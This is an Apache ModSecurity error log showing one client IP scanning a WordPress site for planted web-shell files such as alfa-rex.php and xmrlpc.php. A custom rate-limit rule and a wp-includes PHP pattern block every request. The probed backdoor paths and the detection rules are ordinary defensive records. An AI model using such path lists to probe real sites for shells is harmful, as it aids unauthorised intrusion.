[Tue Mar 31 08:38:03.672736 2026] [:error] [pid 36890:tid 36907] [client 4.204.246.56:8113] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acsXa58FASPd_uH8z7dFnQAAAAw"]
[Tue Mar 31 08:38:04.086028 2026] [:error] [pid 36891:tid 36937] [client 4.204.246.56:8056] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acsXbJJhiMaJUqoqfl4xrgAAAE0"]
[Tue Mar 31 08:38:04.501900 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:8189] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acsXbPlMmeoQKN0r_GN7HwAAAMY"]
[Tue Mar 31 08:38:04.916024 2026] [:error] [pid 41421:tid 41435] [client 4.204.246.56:8012] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "acsXbBSaDjY9kKFtUQBiEQAAAQs"]
[Tue Mar 31 08:38:05.333269 2026] [:error] [pid 36982:tid 37004] [client 4.204.246.56:8118] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "acsXbflMmeoQKN0r_GN7IgAAANM"]
[Tue Mar 31 08:38:05.745488 2026] [:error] [pid 41421:tid 41426] [client 4.204.246.56:7971] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "acsXbRSaDjY9kKFtUQBiEgAAAQI"]
[Tue Mar 31 08:38:06.209082 2026] [:error] [pid 36891:tid 36947] [client 4.204.246.56:8116] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "acsXbpJhiMaJUqoqfl4xsAAAAFc"]
[Tue Mar 31 08:38:06.621116 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:7955] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/network.php"] [unique_id "acsXbhSaDjY9kKFtUQBiFwAAAQg"]
[Tue Mar 31 08:38:07.063855 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8134] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acsXbxSaDjY9kKFtUQBiGQAAAQA"]
[Tue Mar 31 08:38:07.488134 2026] [:error] [pid 36892:tid 36960] [client 4.204.246.56:8126] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acsXb0yj9S4G0ek3O4LKqQAAAIk"]
[Tue Mar 31 08:38:07.903321 2026] [:error] [pid 36890:tid 36916] [client 4.204.246.56:8004] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acsXb58FASPd_uH8z7dFqgAAABU"]
[Tue Mar 31 08:38:08.358775 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:8117] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acsXcBSaDjY9kKFtUQBiJQAAAQg"]
[Tue Mar 31 08:38:08.781655 2026] [:error] [pid 41421:tid 41433] [client 4.204.246.56:7981] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acsXcBSaDjY9kKFtUQBiJwAAAQk"]
[Tue Mar 31 08:38:09.203133 2026] [:error] [pid 36982:tid 36991] [client 4.204.246.56:8034] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acsXcflMmeoQKN0r_GN7KgAAAMY"]
[Tue Mar 31 08:38:09.645876 2026] [:error] [pid 36892:tid 36951] [client 4.204.246.56:7879] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acsXcUyj9S4G0ek3O4LKsQAAAIA"]
[Tue Mar 31 08:38:10.079306 2026] [:error] [pid 36982:tid 36992] [client 4.204.246.56:8054] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/fckeditor/editor/filemanager/updates.php"] [unique_id "acsXcvlMmeoQKN0r_GN7MgAAAMc"]
[Tue Mar 31 08:38:10.493511 2026] [:error] [pid 41421:tid 41438] [client 4.204.246.56:8042] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acsXchSaDjY9kKFtUQBiLQAAAQ4"]
[Tue Mar 31 08:38:10.908131 2026] [:error] [pid 41421:tid 41425] [client 4.204.246.56:8027] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acsXchSaDjY9kKFtUQBiMQAAAQE"]
[Tue Mar 31 08:38:11.341586 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8038] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acsXcxSaDjY9kKFtUQBiNQAAAQA"]
[Tue Mar 31 08:38:11.758636 2026] [:error] [pid 36890:tid 36900] [client 4.204.246.56:7900] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/file.php"] [unique_id "acsXc58FASPd_uH8z7dFrgAAAAU"]
[Tue Mar 31 08:38:12.193901 2026] [:error] [pid 36982:tid 37003] [client 4.204.246.56:8156] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Response/wp-login.php"] [unique_id "acsXdPlMmeoQKN0r_GN7NwAAANI"]
[Tue Mar 31 08:38:12.610919 2026] [:error] [pid 41421:tid 41426] [client 4.204.246.56:8046] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acsXdBSaDjY9kKFtUQBiPQAAAQI"]
[Tue Mar 31 08:38:13.029678 2026] [:error] [pid 36891:tid 36947] [client 4.204.246.56:8110] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acsXdZJhiMaJUqoqfl4xuwAAAFc"]
[Tue Mar 31 08:38:13.449171 2026] [:error] [pid 36982:tid 36993] [client 4.204.246.56:8057] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acsXdflMmeoQKN0r_GN7OwAAAMg"]
[Tue Mar 31 08:38:13.867065 2026] [:error] [pid 36892:tid 36974] [client 4.204.246.56:7944] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/coffee/alfa-rex.php"] [unique_id "acsXdUyj9S4G0ek3O4LKtAAAAJc"]
[Tue Mar 31 08:38:14.295597 2026] [:error] [pid 36982:tid 36997] [client 4.204.246.56:8094] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "acsXdvlMmeoQKN0r_GN7QgAAAMw"]
[Tue Mar 31 08:38:14.718347 2026] [:error] [pid 36892:tid 36952] [client 4.204.246.56:7973] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/alfa-rex.php"] [unique_id "acsXdkyj9S4G0ek3O4LKuQAAAIE"]
[Tue Mar 31 08:38:15.151185 2026] [:error] [pid 41421:tid 41430] [client 4.204.246.56:8039] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acsXdxSaDjY9kKFtUQBiQgAAAQY"]
[Tue Mar 31 08:38:15.564841 2026] [:error] [pid 36891:tid 36932] [client 4.204.246.56:7988] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acsXd5JhiMaJUqoqfl4xvwAAAEg"]
[Tue Mar 31 08:38:15.979356 2026] [:error] [pid 36890:tid 36902] [client 4.204.246.56:8173] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acsXd58FASPd_uH8z7dFvQAAAAc"]
[Tue Mar 31 08:38:16.425497 2026] [:error] [pid 36982:tid 36988] [client 4.204.246.56:7972] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "acsXePlMmeoQKN0r_GN7TQAAAMM"]
[Tue Mar 31 08:38:16.844199 2026] [:error] [pid 36890:tid 36916] [client 4.204.246.56:7987] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acsXeJ8FASPd_uH8z7dFwQAAABU"]
[Tue Mar 31 08:38:17.265689 2026] [:error] [pid 36982:tid 36997] [client 4.204.246.56:8091] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acsXeflMmeoQKN0r_GN7TgAAAMw"]
[Tue Mar 31 08:38:17.685448 2026] [:error] [pid 41421:tid 41440] [client 4.204.246.56:7951] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acsXeRSaDjY9kKFtUQBiSQAAARA"]
[Tue Mar 31 08:38:18.097270 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:8059] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php/wp-includes/ID3/wp-mail.php"] [unique_id "acsXehSaDjY9kKFtUQBiTgAAAQA"]
[Tue Mar 31 08:38:18.532737 2026] [:error] [pid 36891:tid 36941] [client 4.204.246.56:7895] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acsXepJhiMaJUqoqfl4xwQAAAFE"]
[Tue Mar 31 08:38:18.944842 2026] [:error] [pid 36982:tid 36985] [client 4.204.246.56:8072] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acsXevlMmeoQKN0r_GN7UQAAAMA"]
[Tue Mar 31 08:38:19.364878 2026] [:error] [pid 36890:tid 36913] [client 4.204.246.56:8041] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acsXe58FASPd_uH8z7dFzAAAABI"]
[Tue Mar 31 08:38:19.777750 2026] [:error] [pid 36982:tid 36999] [client 4.204.246.56:8032] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "acsXe_lMmeoQKN0r_GN7VQAAAM4"]
[Tue Mar 31 08:38:20.198986 2026] [:error] [pid 41421:tid 41434] [client 4.204.246.56:7992] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acsXfBSaDjY9kKFtUQBiZAAAAQo"]
[Tue Mar 31 08:38:20.618705 2026] [:error] [pid 36890:tid 36902] [client 4.204.246.56:8122] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acsXfJ8FASPd_uH8z7dFzgAAAAc"]
[Tue Mar 31 08:38:21.031113 2026] [:error] [pid 36892:tid 36968] [client 4.204.246.56:8050] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acsXfUyj9S4G0ek3O4LKvwAAAJE"]
[Tue Mar 31 08:38:21.464328 2026] [:error] [pid 36982:tid 36989] [client 4.204.246.56:7970] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/images/wp-login.php"] [unique_id "acsXfflMmeoQKN0r_GN7XgAAAMQ"]
[Tue Mar 31 08:38:21.877952 2026] [:error] [pid 36891:tid 36929] [client 4.204.246.56:8037] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/xp.php"] [unique_id "acsXfZJhiMaJUqoqfl4xxQAAAEU"]
[Tue Mar 31 08:38:22.306734 2026] [:error] [pid 41421:tid 41426] [client 4.204.246.56:7984] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/xp.php"] [unique_id "acsXfhSaDjY9kKFtUQBibAAAAQI"]
[Tue Mar 31 08:38:22.722700 2026] [:error] [pid 36892:tid 36963] [client 4.204.246.56:7938] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/xp.php"] [unique_id "acsXfkyj9S4G0ek3O4LKxQAAAIw"]
[Tue Mar 31 08:38:23.132870 2026] [:error] [pid 36891:tid 36947] [client 4.204.246.56:7949] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/xp.php"] [unique_id "acsXf5JhiMaJUqoqfl4xywAAAFc"]
[Tue Mar 31 08:38:23.554848 2026] [:error] [pid 41421:tid 41430] [client 4.204.246.56:7965] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/themes.php"] [unique_id "acsXfxSaDjY9kKFtUQBibwAAAQY"]
[Tue Mar 31 08:38:23.974776 2026] [:error] [pid 36892:tid 36961] [client 4.204.246.56:7939] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "acsXf0yj9S4G0ek3O4LKyAAAAIo"]
[Tue Mar 31 08:38:24.407297 2026] [:error] [pid 41421:tid 41436] [client 4.204.246.56:8169] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "acsXgBSaDjY9kKFtUQBidQAAAQw"]
[Tue Mar 31 08:38:24.827840 2026] [:error] [pid 41421:tid 41442] [client 4.204.246.56:8031] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/dummyyummy/wp-signup.php"] [unique_id "acsXgBSaDjY9kKFtUQBiewAAARI"]
[Tue Mar 31 08:38:25.239334 2026] [:error] [pid 41421:tid 41428] [client 4.204.246.56:8184] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "acsXgRSaDjY9kKFtUQBifwAAAQQ"]
[Tue Mar 31 08:38:25.656424 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:7813] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/chosen.php"] [unique_id "acsXgRSaDjY9kKFtUQBihQAAAQg"]
